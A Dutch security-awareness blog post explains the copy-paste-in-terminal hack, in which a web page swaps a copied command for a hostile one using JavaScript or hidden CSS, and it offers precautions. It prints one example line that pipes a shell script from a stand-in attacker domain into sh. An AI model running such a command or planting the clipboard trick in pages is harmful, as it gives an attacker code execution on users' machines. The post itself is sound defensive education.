TL;DR Kopieer geen commando’s direct van een website naar de command line in je terminal. Je kunt via copy-paste in je terminal gehackt worden.
“Deze ‘kleine’ hack werkt als volgt: je denkt de tekst te kopiëren die je ziet, maar in werkelijkheid kopieer je een ander, gevaarlijk commando mét execution. Een hack met mogelijk grote gevolgen”, zegt Eddie Bijnen, Senior Security Engineer bij True. Lees in deze blog hoe de hack werkt, waar je als developer of engineer waakzaam voor moet zijn en welke verdere mogelijkheden je hebt.
Wat je denkt dat je kopieert, is niet altijd wat je kopieert
Een website gevonden met daarop handige te kopiëren shell commands. Tof! Alleen zijn ze te lang om over te typen en bij overtypen is er kans op fouten. Ooit wel eens een dergelijke code snippet gekopieerd en in je terminal geplakt? Grote kans van wel. Maar kopieer je wel wat je ziet?
“Dat wat je kopieert, kan iets compleets anders zijn. Een onschuldig commando, maar net zo goed gevaarlijke code. Zeker als die code “\n” aan het einde heeft, waardoor het direct in de terminal wordt uitgevoerd”, zegt Eddie. “Daarmee is de hack eenvoudig, maar een potentieel gevaar voor iedereen die – al is het maar één keer – met de command line in de terminal werkt.”
Je denkt bijvoorbeeld dat je dit commando kopieert:
sudo apt update
Maar in werkelijkheid kopieer je dit:
curl http://attacker-domain:8000/shell.sh | sh
Op de blog van Wizer geeft Gabriel Friedlander, security awareness trainer, een veilige demo om het zelf te proberen.
“Ik herhaal: kopieer en plak geen commando’s direct van een website naar de command line in je terminal”
Eddie: “Developers cliché: van het overtypen van het commando leer je meer dan van copy-paste. In dit geval leer je er niet alleen meer van, maar voorkom je ook dat je gehacked wordt. Is er kans op typfouten, kopieer het dan eerst naar een text editor of kladblok. Dan zie je snel genoeg of het klopt of niet.”
Om de kans op menselijke fouten te verminderen, is er voor Firefox een mogelijkheid om het tegen te gaan. In het geval dat er toch per ongeluk gekopieerd wordt. In about:config kun je dom.event.clipboardevents.enabled op false zetten en zo uitschakelen, waardoor de browser Javascript blokkeert als deze de copy-paste wil veranderen.
Hoe werkt de copy-paste in terminal hack?
De copy-paste in terminal hack kan zowel met JavaScript als CSS worden toegevoegd. Met Javascript wordt er op de code snippet een event listener toegevoegd die de tekst wijzigt naar malcode. Met CSS wordt de malcode toegevoegd in font-size: 0px; of met display: none;